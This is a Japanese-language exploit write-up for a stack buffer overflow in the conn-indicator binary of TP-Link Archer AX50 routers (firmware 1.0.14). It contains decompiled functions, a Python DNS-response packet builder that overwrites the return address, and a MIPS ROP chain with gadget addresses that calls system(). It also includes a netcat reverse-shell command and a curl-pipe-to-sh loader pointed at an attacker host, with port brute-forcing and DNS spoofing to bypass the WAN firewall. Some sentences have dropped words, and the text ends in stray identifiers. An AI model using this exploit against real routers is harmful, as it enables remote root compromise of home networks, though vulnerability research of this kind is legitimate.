
TP-Link Archer AX50ルーターのconn-indicatorバイナリで見つかったスタックベースのバッファオーバーフローのエクスプロイト
TP-Link Archer AX50 ルーターは、ファームウェアバージョン 1.0.14 Build 20240108 rel.42655(4555) においてスタックベースのバッファオーバーフローの脆弱性があり、LAN および WAN 側の両方でリモートコード実行につながります。この脆弱性は、Flashback チームが発見し、彼らのビデオシリーズで詳しく説明されている CVE-2020-10881 と同じ根本原因を持っています(参考文献を参照)。ただし、悪用プロセスは多少異なるため、新しいエクスプロイトを作成する必要がありました。

この脆弱性は、conn-indicator バイナリで発生します。このバイナリは、ルーターがインターネットに接続されているかを確認するため、定期的に DNS クエリを送信し、32000 から 61000 の間のランダムな UDP ポートで応答を待ち受ける役割を担っています。
これらの DNS 応答パケットを受信し最初に処理する関数は TPDns_RecvAndResolve() (0x00405e3c に位置) です。recvfrom でパケットを受信すると、サイズ 2960 バイトの buf に格納されます。その後、リターンコードが正しいか (RCODE == 0) を確認し、パケット内の質問数と回答数 (QDCOUNT と ANCOUNT) をチェックします。回答を処理するために process_resolved_IP() を呼び出し、buf へのポインタ、buf 内の回答の開始位置を指す answer_ptr、回答数 (ANCOUNT)、およびその他のフラグを渡します。
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
関数 process_resolved_IP() (0x00405818 に位置) は各回答を走査し、それぞれに対して DNS_answer_parser() を呼び出します。引数として、buf への同じポインタ、buf 内の現在解析中の回答を指す answer、およびサイズ 256 のバッファ current_answer へのポインタを渡します。
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
関数 DNS_answer_parser() (0x004054e0 に位置) は各回答を個別に解析します。回答は <長さ><ドメイン><長さ><ドメイン>... という形式のドメイン名で構成されています。例えば example.com は 7example3com と表現されます。この関数は、回答のドメイン名を構成する <長さ><ドメイン> の各ペアをループし、<長さ> が 63 未満であること (domain_name & 0xc0 != 0) をチェックします。次に memcpy を呼び出し、answer の <長さ> バイト分 ( <ドメイン> に対応) を current_answer にコピーします。ドメイン名内の次の <長さ><ドメイン> ペアについてもこの処理を繰り返します。
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
current_answer は 256 バイトしかないため、攻撃者はバッファをオーバーフローさせるのに十分な大きさのドメイン名を含む回答をパケットで送信することが可能です。
悪用プロセスは、Flashback チームが CVE-2020-10881 についてビデオシリーズで説明したものと非常に似ています(参考文献を参照)。ただし、いくつかの重要な違いがあります。
move 命令が異なります。memcpy() の count 引数として $a2 に移動されるレジスタが、$s0 ではなく $s1 になっています。process_resolved_IP() 内の変数 i が $s8 ではなく $s5 にロードされます。その後 $v1 と比較される際に、$v1 は $sp+616 から取得されます。この位置はオーバーフローしたバッファから非常に離れているため、回答とコマンドからさらにスタックを破損させる必要がありました。/tmp 以外は読み取り専用であるため、すべての書き込みと読み取りは で行う必要があります。これにより、リバースシェルを 62 文字未満にすることが不可能になるため、ターゲットにデプロイするには、Web サーバーから提供し、ダウンロードして実行するコマンドをターゲットに送信する必要があります。以上の点を踏まえて、全プロセスを説明します。
conn-indicator バイナリは NX が有効で、ASLR は自身以外のすべてに適用されています。
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
したがって、この脆弱性を悪用する戦略は、system() を目的のコマンドで実行できるように ROP チェーンを構築することです。
バッファをオーバーフローさせて $ra レジスタを破損するには、攻撃者は十分に大きなドメイン名を含む回答を持つ DNS 応答を送信する必要があります。DNS ヘッダーに関しては、RCODE が 0 で ANCOUNT が 1 であることだけが必要です。パケットには 1 つの回答のみを含めればよいからです。例として、次のパケットは $ra レジスタを 0x50505050 で破損します。
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
バイナリのアドレスは実行ごとに常に同じであり、書き込み可能な領域があるため、実行するコマンドをその領域にコピーし、system() を呼び出す計画を立てます。そのために、次の ROP チェーンを使用します。
memcpy() の引数を準備します。次のガジェットのアドレスが $ra にロードされます。次に、$s2 が $v0 に移動されます。$s2 にはコマンドをコピーする先のバイナリの書き込み可能領域のアドレスが含まれており、これが memcpy() の dest 引数になります。そして、memcpy の count 引数が、制御可能なスタックアドレスから $s1 にロードされます。最後に、次のガジェットにジャンプします。00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() の引数を引き続き準備し、それを呼び出します。memcpy() の dest 引数(バイナリの書き込み可能領域に対応)は $v0 にあり、$a0 にロードされて memcpy() の最初のパラメータとなります。実行のこの時点で、$a1 は DNS 応答パケット内の回答の末尾を指しており、そこにコマンド文字列を配置しているため、src パラメータを準備する必要はありません。次に、前のガジェットでロードされた count パラメータを含む $s1 が $a2 に移動され、memcpy() の 3 番目のパラメータとなります。最後に memcpy() が呼び出され、コマンド文字列がバイナリの書き込み可能領域にコピーされます。このガジェットは process_resolved_IP() の末尾に位置するため、実行はその関数内で続行されます。関数が正常にリターンできるように、スタックを適切に整える必要があります。そのために、この関数のスタックや一部のレジスタからロードされる変数(、、、 など)をペイロード内に注意深く配置します。リターン時に、 のアドレスが再びスタックから取得され、そこに次のガジェットのアドレスを配置してジャンプします。00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() の引数を準備し、それを呼び出します。実行のこの時点で、$v0 は $s3 の値を含んでいます。$s3 には、現在コマンドが格納されているバイナリの書き込み可能領域のアドレスを配置しています。そのため、$v0 は $a0 に移動されます。次に、バイナリにインポートされている system() のアドレスがスタックから $ra に配置され、system() が呼び出されてコード実行が達成されます。004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
ターゲットで実行するリバースシェル(busybox が動作)は次のとおりです。
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
ただし、実行するコマンドは 62 文字未満でなければならず、ファイルシステムは /tmp にしか書き込めないため、リバースシェルを直接実行することは不可能でした。代わりに、ローダー curl http://<attacker>:<port>/ | sh が実行され、攻撃者からリバースシェルを取得します。
残るは conn-indicator がリッスンしているポートをブルートフォースするだけです。これは簡単に自動化できます。
ここまでは、このエクスプロイトは LAN 側でのみ動作します。WAN 側はファイアウォールで保護されているためです。ただし、この制限を回避する方法があります。conn-indicator が DNS 応答を受信できるようにするため、ファイアウォールはバイナリが送信した DNS クエリと同じ IP から来るパケット、つまりターゲットルーターが使用している DNS からのパケットを許可します。したがって、ファイアウォールを回避するには、DNS サーバーからのなりすましパケットを送信すれば十分です。ターゲットがローカルネットワーク内にある場合は、おそらく 192.168.0.1、192.168.1.1、10.0.0.1 のような IP になり、ターゲットが直接インターネットに接続されている場合は、8.8.8.8、1.1.1.1 またはその他の一般的な DNS サーバーになるでしょう。
完全に機能するエクスプロイトは LAN と WAN の両方で動作します。LAN モードは 32000 から 61000 までのすべてのポートをブルートフォースし、WAN モードは同じポート範囲と、SPOOF_LIST に保存されているすべての可能性のある DNS IP をブルートフォースします。このリストは、攻撃者のターゲットに関する知識に基づいて編集する必要がありますが、十分な時間(数分)があれば、90% のケースをカバーできるはずです。
/tmpANCOUNTparam_4param_5i$ra